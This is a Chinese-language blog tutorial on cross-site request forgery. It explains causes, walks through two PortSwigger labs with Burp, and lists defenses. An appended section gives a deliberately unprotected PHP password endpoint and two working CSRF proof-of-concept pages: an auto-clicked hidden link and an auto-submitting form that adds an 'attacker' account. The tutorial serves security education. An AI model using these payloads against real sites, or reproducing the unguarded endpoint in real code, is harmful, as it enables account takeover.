跨站请求伪造CSRF漏洞介绍

一、CSRF介绍

1、CSRF概念

CSRF(Cross - Site Request Forgery),跨站请求伪造。它是一种网络安全漏洞,攻击者通过诱导用户访问恶意网站,利用用户当前已登录的身份在被攻击的网站(目标网站)执行非用户本意的操作。

2、漏洞利用流程图

画板

3、漏洞产生的原因

(1)信任用户的浏览器行为

浏览器自动发送认证凭据:当用户登录一个网站后,浏览器会保存该网站的认证信息,如 Cookie。在后续访问同一网站的其他页面或者相关接口时,浏览器会自动将这些认证信息包含在请求中发送给服务器。而 CSRF 攻击正是利用了这一点。

缺乏对请求来源的有效验证:浏览器本身不会区分请求是来自合法的用户操作还是来自恶意网站的诱导。它只是按照规则发送请求,而服务器如果没有采取措施来验证请求的真正来源,就容易受到 CSRF 攻击。

(2)网站应用程序设计缺陷

可预测的请求参数:如果网站的请求参数是可预测的,攻击者就更容易构造恶意请求。攻击者可以通过猜测或者分析,了解到这个接口的参数格式,然后在恶意网站中构造类似的请求来修改用户密码。而且,如果这个接口没有其他防护措施,就很容易被利用进行 CSRF 攻击。

对重要操作缺乏保护机制:对于一些重要的操作,如修改用户账户信息、执行财务交易等,如果没有这些措施,并且没有防范 CSRF 攻击的机制,如 CSRF 令牌,攻击者就可以轻易地利用用户的登录状态进行恶意操作。

同源策略的不恰当应用或绕过:虽然浏览器有同源策略来限制不同源的脚本交互,但 CSRF 攻击可以在一定程度上绕过这个策略。

二、CSRF漏洞练习

本次练习使用的靶场是portswigger,需要注册登录才能使用。篇幅有限,这里只演示两个关卡。

靶场链接:https://portswigger.net/web-security/csrf

每个关卡都有参考的解题步骤(Solution),不过是英文的而已!

1、Lab: CSRF vulnerability with no defenses

链接:https://portswigger.net/web-security/csrf/lab-no-defenses

(1)点击ACESS THE LAB进入实验,看一下本关用到的账号密码

(2)使用靶场提供的账号密码登录,发现这一关是构造恶意链接更改用户的邮箱

(3)填入要更形的邮箱地址,抓包,在Burp右键选择Engagement Tools-Generate CSRF PoC

(4)如果要更改邮箱地址,点击Regenerate,然后点击Copy HTML,在Burp把抓到的包丢弃掉

(5)回到靶场,点击Go to exploit server,在新页面打开

(6)把生成的CSRF PoC复制到body中,点击Store,View exploit,刷新邮箱页面,发现邮箱已经更新了

2、Lab: CSRF where token validation depends on request method

链接:https://portswigger.net/web-security/csrf/bypassing-token-validation/lab-token-validation-depends-on-request-method

从这个token validation depends on request method标题就可以看出这一关是通过改变请求方式构造CSRF POC

(1)还是和上一关一样登录账号和抓包,可以看到这里用的是POST请求方法

(2)右键选择Change request method

(3)在右键选择Engagement Tools-Generate CSRF PoC,之后和上一关的步骤一致,不多赘述,把PoC内容复制,点击Deliver exploit to victim

(4)页面提示实验已经被解决

(5)点击View exploit更改邮箱,如果提示"That email is not available",更改一下邮箱后缀

(6)邮箱已成功更改

### 关于跨站请求伪造CSRF)实验的设计与实施 #### 实验目标 通过设计并执行一个简单的 CSRF 攻击场景,验证攻击的工作原理以及其可能带来的危害。这有助于理解 CSRF 的本质及其防御方法。 --- #### 实验环境准备 1. **本地开发服务器** 使用 Web 开发框架搭建一个支持用户登录功能的小型应用,例如 PHP 或 Python Flask 应用程序。该应用程序应允许修改用户的某些敏感数据(如密码),以便模拟真实世界中的业务逻辑。 2. **易受攻击的功能模块** 创建一个未加防护的 URL 接口用于更新用户密码或其他操作。例如: ```php <?php session_start(); if ($_SERVER['REQUEST_METHOD'] === 'GET') { $new_password = $_GET['password_new']; $confirm_password = $_GET['password_conf']; if ($new_password && $confirm_password && $new_password === $confirm_password) { echo "Password updated successfully!"; // Simulate password update logic here. } else { echo "Error updating password."; } } ?> ``` 3. **恶意页面构建** 构建一个 HTML 页面,其中包含能够触发 CSRF 攻击的内容。此页面可以通过诱导受害者访问来完成攻击过程。 --- #### 实现步骤 ##### 方法一:基于 GET 请求CSRF 测试 创建一个 HTML 文件,在文件中嵌入超链接或自动加载脚本以发起 CSRF 请求: ```html <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>CSRF Test</title> </head> <body> <!-- 隐蔽的超链接 --> <a href="http://localhost/csrf_vulnerable_app/change_password.php?password_new=hacked&password_conf=hacked" style="display:none;" id="csrf-link"></a> <!-- 自动击链接 --> <script> document.getElementById('csrf-link').click(); </script> </body> </html> ``` 上述代码会在用户打开页面时立即发送一个 GET 请求到指定的目标地址[^4]。 ##### 方法二:基于 POST 请求CSRF 测试 如果目标接口仅接受 POST 请求,则可通过 `<form>` 表单提交方式实现 CSRF 攻击: ```html <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>CSRF Form Attack</title> </head> <body onload="document.forms[0].submit()"> <form action="http://localhost/csrf_vulnerable_app/update_user.php" method="POST"> <input type="hidden" name="act" value="add"/> <input type="hidden" name="username" value="attacker"/> <input type="hidden" name="password" value="hackedpass"/> <input type="hidden" name="password2" value="hackedpass"/> <input type="hidden" name="button" value="%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7"/> <input type="hidden" name="userid" value="0"/> </form> </body> </html> ``` 当受害者浏览这个恶意页面时,浏览器会自动向目标站提交表单数据[^3]。 --- #### 安全测试注意事项 在实际环境中进行此类测试前需获得授权,以免触犯法律。此外,建议使用虚拟机隔离测试网络,防止意外影响其他系统资源。 --- #### 防御措施概述 为了有效抵御 CSRF 攻击,可采取以下策略之一或多组合使用: - 添加一次性令牌(Token)校验机制; - 设置严格的 Referer 和 Origin 头部检查; - 启用 SameSite Cookie 属性限制第三方调用行为[^1]。 --- ### 结论 通过对 CSRF 漏洞的学习和实践,可以更深刻认识到这类威胁的存在形式及潜在风险,并掌握相应的缓解手段。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值